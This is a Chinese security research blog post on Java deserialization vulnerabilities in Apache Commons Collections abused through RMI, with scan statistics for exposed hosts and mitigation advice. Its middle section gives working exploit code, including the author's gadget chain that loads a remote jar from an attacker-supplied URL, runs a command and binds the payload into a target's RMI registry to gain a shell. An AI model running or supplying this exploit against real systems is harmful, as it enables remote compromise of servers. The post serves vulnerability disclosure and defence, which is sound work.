IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

Java反序列化漏洞被忽略的大规模杀伤利用

绿盟科技博客 2015-12-13 22:02:17 累计浏览 2,027 次
本机暂存

前一段时间热炒的Java反序列化漏洞,大家在玩的很嗨的时候貌似忽略了一件很重要的事情——Java在cs架构的设计中使用序列化传输是非常普遍的现象,而在像JBoss这种中间件也使用这种设计。所以,我在一边研究这个漏洞,一边看大家嗨嗨的玩的同时,也很好奇在一些通过Java实现的CS架构应用(比如:大型国企都喜欢用的会计软件、内容发布系统),是不是也会用到Apache Commons Collections这个库。

不知道是不是研究Java Web的大神们都在闷声发大财,这次这个漏洞的分析文章大多都停留在那个老外blog中的各个中间件的利用玩法上,却没有注意到Java Web中常见的架构都会因为这个问题而沦陷。而且除了长亭之外的文章,其他各家的修复建议大多都是针对利用来进行修复,治标不治本。

0x01 大规模利用原罪——RMI

在分布式遍地走的如今,很多使用Java开发的Web也都使用了分布式分发的结构,比如我所了解的很多大型组织都会在后台部署一些Java应用,用于向对外网站发布更新的静态页面,而这种发布命令的下达使用的就是RMI。

我们先看下RMI在wikipedia上的描述:

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

更加令人警示的是RMI的传输过程必然会用到序列化和反序列化,那么如果RMI服务端接口对外开放,并且服务端使用了像Apache Commons Collections这样的库,很容易被攻击者窥视。

0x02 被忽略掉的关键内容

breenmachine的原文中,有不少的地方描述了关于反序列化漏洞对于RMI的影响,比如:

Java LOVES sending serialized objects all over the place. For example:

  • In HTTP requests - Parameters, ViewState, Cookies, you name it.

  • RMI - The extensively used Java RMI protocol is 100% based on serialization

  • RMI over HTTP - Many Java thick client web apps use this - again 100% serialized objects

  • JMX - Again, relies on serialized objects being shot over the wire

  • Custom Protocols - Sending an receiving raw Java objects is the norm - which we’ll see in some of the exploits to come

RMI的传输100%基于反序列化。

还有这个:

If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit

如果你看到了1099端口,这是Java RMI的默认端口。RMI默认使用序列化来完成所有的交互。这是非常常见的漏洞,就像我们写出的OpenNMS exploit。

以及《Exploit 5 - OpenNMS through RMI》这个小节,都是在介绍RMI的利用情况。但是都被大家忽略掉了,这令我很费解。

0x03 Exploit的构造

RMI的Exploit构造相对比较容易,对于了解Java编程的同学应该很简单的就可以写出来了。这里我们简单的来分析一下ysoserial这个工具中对于RMI利用的实现。

public class RMIRegistryExploit {
    public static void main(final String[] args) throws Exception {
        // ensure payload doesn't detonate during construction or deserialization 
        ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
            Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));     
            String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
            Class<? extends ObjectPayload> payloadClass = (Class

<? extends ObjectPayload>) Class.forName(className);
            Object payload = payloadClass.newInstance().getObject(args[3]);
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
            try {
                registry.bind("pwned", remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }           
            
            try {
                String[] names = registry.list();
                for (String name : names) {
                    System.out.println("looking up '" + name + "'");
                    try {
                        Remote rem = registry.lookup(name);
                        System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
                    } catch (Throwable e) {
                        e.printStackTrace();
                    }                   
                }
            } catch (Throwable e) {
                e.printStackTrace();
            }
            
            return null;
        }});
    }
}

这段实现代码中,使用了Java中Proxy的形式对于构造的攻击payload进行了封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型。这样用最大的好处就是payload足够的通用,可以应对多种不同的应用。但是,对于我们目前被大多数人所使用的基于Integer格式报错的回显方法,这种封装影响格式异常的回显。所以,在想要获取回显交互的情况下,这个工具并不是太好用。因此,我重新写了一个用于实现回显的工具,RMI利用部分代码如下:

public class RMIexploit {
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor

<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }

    public static void main(String[] args) {

        String ip = args[0];
        int port = Integer.parseInt(args[1]);
        String remotejar = args[2];
        String command = args[3];
        
        
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        try{
            final Transformer[] transformers = new Transformer[] { 
                    new ConstantTransformer(java.net.URLClassLoader.class), 
                    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] { 
                      new Class[]{java.net.URL[].class}}), 
                    new InvokerTransformer("newInstance", new Class[] { 
                      Object[].class}, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) }}}), 
                    new InvokerTransformer("loadClass", 
                      new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), 
                    new InvokerTransformer("getMethod", 
                      new Class[]{String.class, Class[].class}, new Object[]{"do_exec", new Class[]{String.class}}), 
                    new InvokerTransformer("invoke", 
                      new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{command}}) 
                      }; 
            Transformer transformedChain = new ChainedTransformer(transformers);

            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
            InvocationHandler h =  (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, h));
            registry.bind("pwned", r);

其实内容很简单,就是在原有的payload生成代码后面加上了RMI的调用。这种写法我针对Jboss5和6系列的版本进行了测试,均可以在JMXInvoker删除的情况下获取shell。我们在后期对该问题影响进行扫描的结果,可以证明这个Exploit并不仅仅只是针对Jboss有效,而是针对整个RMI协议。

PS:在我自己测试过程中,Jboss4系列貌似并没有直接的使用RMI,所以无法使用本小节给出的Exploit编写方法完成攻击。还有就是Jboss7,我发现貌似已经不开放RMI相关协议端口了(也许是我下载的姿势不对233),所以也没有测试成功。

0x04 RMI漏洞影响

我们使用我们自己的全网扫描平台SEER对于1090和1099端口进行了全网扫描:

  • 1090和1099端口全球开放 3754959 台,其中将端口用于RMI交互的主机53170 台,占比14.16%

  • 存在反序列化漏洞 5875 台,占比 11.04%

  • 存在漏洞的主机中,Linux主机 3946 台,其中可以直接获得root权限的主机 2531 台,占比 64.14%;Windows主机 1929 台,其中可以直接获得管理员权限的主机 425台,占比 22.03%

0x05 修复建议

因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller。

下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

以上引用长亭科技文章中的修复建议

lib地址:https://github.com/ikkisoft/SerialKiller

绿盟科技蜂巢已针对这个漏洞启动应急机制,蜂巢是由绿盟众多研发人员、工程人员和服务同事共同维护的创新性安全扫描插件互助社区,致力于打造为一个开放、共享的安全学习社区。安全研究人员可以在互联网上获取漏洞信息,然后根据蜂巢的开发规划编写对应的扫描插件。从漏洞分析、代码开发、安全交流等多方面来提升自己的能力。另外,在这个社区,安全人员可以方便获取对应插件进行安全测试,共同维护互联网安全,一起见证群蜂筑安全巢穴的强大能力。

0x06 参考资料

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. SmartSprites - 命令行形式的CSS Sprites生成器 (累计阅读 123,894)
  2. Java开发岗位面试题归类汇总 (累计阅读 22,155)
  3. android 开发入门 (累计阅读 19,527)
  4. 我的PHP,Python和Ruby之路 (累计阅读 13,146)
  5. HashMap解决hash冲突的方法 (累计阅读 12,653)
  6. 一个大二学生有关如何成为一名软件工程师的疑问及答复 (累计阅读 9,178)
  7. Java程序员应该知道的10个eclipse调试技巧 (累计阅读 8,012)
  8. 如何让员工忠于公司? (累计阅读 7,939)
  9. Java技术路线 (累计阅读 7,725)
  10. 聊聊ThoughtWorks面试 (累计阅读 7,614)